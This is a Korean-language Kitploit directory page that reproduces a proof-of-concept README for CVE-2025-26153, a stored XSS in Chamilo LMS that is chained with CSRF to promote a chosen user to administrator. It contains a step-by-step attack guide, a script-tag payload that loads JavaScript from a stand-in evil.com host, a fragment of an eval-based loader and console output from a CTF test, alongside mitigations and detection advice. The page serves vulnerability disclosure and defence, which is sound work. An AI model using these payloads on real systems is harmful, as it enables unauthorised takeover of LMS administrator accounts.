Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CSRF-via-stored-XSS-for-PrivEsc — Chamilo-LMS (v2.0) CVE-2025-26153 | Kitploit
도구/GitHubGitHub/mexeck88/csrf-via-stored-xss-for-privesc
Phishing ToolsPrivilege EscalationExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubmexeck88/csrf-via-stored-xss-for-privesc

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CSRF-via-stored-XSS-for-PrivEsc

Chamilo-LMS (v2.0) CVE-2025-26153

저장소 보기웹사이트
6개월 전아직 검토되지 않음

Chamilo LMS (<= v2.0) - 저장된 XSS를 통한 권한 상승 PoC [CVE-2025-26153]

개요

이 저장소는 Chamilo LMS에서 저장된 크로스 사이트 스크립팅(XSS) 취약점을 증명하는 개념 증명(PoC)으로, 일반 사용자에서 플랫폼 관리자로 권한 상승을 달성하는 데 악용될 수 있습니다. 이 취약점은 색인되어 있으며 패치되었습니다: https://nvd.nist.gov/vuln/detail/CVE-2025-26153

취약점 세부 정보

CVE 정보

  • 애플리케이션: Chamilo LMS <= v2.0
  • 취약점 유형: 권한 상승으로 이어지는 저장된 XSS

기술적 세부 사항

취약한 코드 위치:

  1. /public/main/forum/forumqualify.php - 277번째 줄

    root@kitploit:~
    $form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
    
  2. /public/main/forum/viewforum.php - 369번째 줄

    root@kitploit:~
    .$thread->getTitle().'</a>';
    
  3. 더 있습니다!

근본 원인:

  • 포럼 스레드 제목이 적절한 정제 없이 저장됩니다
  • 스레드 제목이 여러 위치에서 HTML 이스케이프 없이 표시됩니다
  • XSS 실행을 방지하는 콘텐츠 보안 정책(CSP)이 없습니다

단계별 권한 상승 가이드

1단계: 데이터 수집

1단계: 대상 사용자 정보 수집

  1. Chamilo LMS에 로그인
  2. 소셜 네트워크 -> 개인 데이터로 이동
  3. user_info를 열고 다음 정보를 기록:
    • 사용자 ID
    • 사용자 이름
    • 이름
    • 성
    • 이메일 주소

2단계: 맞춤형 페이로드 생성

  1. 페이로드 생성기 실행:
    root@kitploit:~
    python generate_payload.py
    
  2. 1단계에서의 대상 사용자 ID 입력
  3. 변경하지 않을 설명 정보를 입력하거나 새 값을 지정
  4. 스크립트는 맞춤형 payload.js 파일을 생성

3단계: 페이로드를 외부에 호스팅

  1. 생성된 payload.js를 공개 호스팅 서비스에 업로드:
    • GitHub Gist (권장)
    • GitHub Pages
    • 자신의 웹 서버
  2. 페이로드 파일의 직접 URL을 기록

2단계: XSS 주입 및 실행

4단계: 소셜 그룹 액세스

  1. Chamilo LMS에 로그인 (모든 사용자 계정으로 가능)
  2. 소셜 네트워크 -> 소셜 그룹으로 이동

5단계: 소셜 그룹 가입 또는 생성

  1. 기존 소셜 그룹에 가입하거나
  2. 필요하면 새 소셜 그룹 생성

6단계: XSS 페이로드 배포

  1. 소셜 그룹에 새 스레드 생성
  2. 스레드 제목 필드에 다음 XSS 페이로드 입력:
    root@kitploit:~
    eval(x.responseText);x.send()">
    
  3. YOUR-HOST-SERVER를 실제 호스팅 URL로 교체
  4. 스레드 제출

7단계: 권한 상승 트리거

  1. 관리자 권한이 있는 사용자가 소셜 그룹을 볼 때까지 대기
  2. 관리자가 악성 스레드를 보면 XSS 페이로드가 백그라운드에서 자동으로 실행
  3. 권한 상승은 조용히 발생하지 않습니다 - 관리자는 사용자 목록으로 리디렉션됩니다
  4. 지정된 대상 사용자는 가시적인 표시 없이 플랫폼 관리자로 승격됩니다

3단계: 확인

8단계: 권한 상승 확인

  1. 대상 사용자로 로그인
  2. 관리자 권한이 부여되었는지 확인
  3. 관리 기능에 액세스할 수 있는지 확인

페이로드 생성기 사용법

generate_payload.py 스크립트는 권한 상승 공격을 맞춤 설정할 수 있습니다:

입력 매개변수:

  • 대상 사용자 ID
  • 새 사용자 이름
  • 새 비밀번호 (선택 사항)
  • 공식 코드
  • 이메일 주소
  • 이름, 성, 전화번호 (선택 사항)

예제 공격 흐름

root@kitploit:~
1. 공격자가 악성 포럼 스레드 생성
   └── Title: <script src=//evil.com/payload.js></script>

2. 관리자 사용자가 포럼을 탐색하고 스레드 봄
   └── 브라우저가 외부 JavaScript를 로드하고 실행

3. 페이로드가 권한 상승 데이터를 포함한 숨겨진 폼 생성
   └── 특정 사용자 ID를 관리자로 승격 대상 지정

4. CSRF 공격을 통해 폼이 자동 제출됨
   └── 관리자의 세션 쿠키를 자동으로 사용

5. 대상 사용자가 플랫폼 관리자가 됨
   └── 공격자가 전체 플랫폼 제어권 획득

완화 전략

즉시 수정 사항

  1. 입력 정제

    root@kitploit:~
    // Before
    $threadEntity->getTitle()
    
    // After  
    htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
    
  2. 출력 인코딩

    root@kitploit:~
    <!-- Before -->
    {{ thread.title }}
    
    <!-- After -->
    {{ thread.title|escape }}
    
  3. 콘텐츠 보안 정책

    root@kitploit:~
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    

장기적 해결책

  • 포괄적인 입력 검증 프레임워크 구현
  • 정기적인 보안 코드 검토
  • CI/CD 파이프라인에서 자동화된 보안 테스트
  • 개발 팀을 위한 보안 교육

탐지 및 모니터링

로그 분석

다음 사항 모니터링:

  • 비정상적인 관리자 사용자 생성/수정
  • HTML/JavaScript를 포함한 의심스러운 포럼 스레드 제목
  • 신뢰할 수 없는 도메인에서 외부 스크립트 로드

법적 고지

중요 법적 고지

이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 자신이 소유하거나 명시적인 서면 허가를 받은 시스템에만 사용
  • 컴퓨터 시스템에 대한 무단 액세스는 대부분의 관할권에서 불법입니다
  • 이 연구는 조직이 보안 태세를 개선하도록 돕기 위한 것입니다
  • 저자는 이 정보의 오용에 대해 책임을 지지 않습니다

연구 크레딧

발견 및 분석: US Cyber Combine

테스트 환경: USCG CTF 환경

성공적인 공격의 콘솔 출력:

root@kitploit:~
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200

도구 다운로드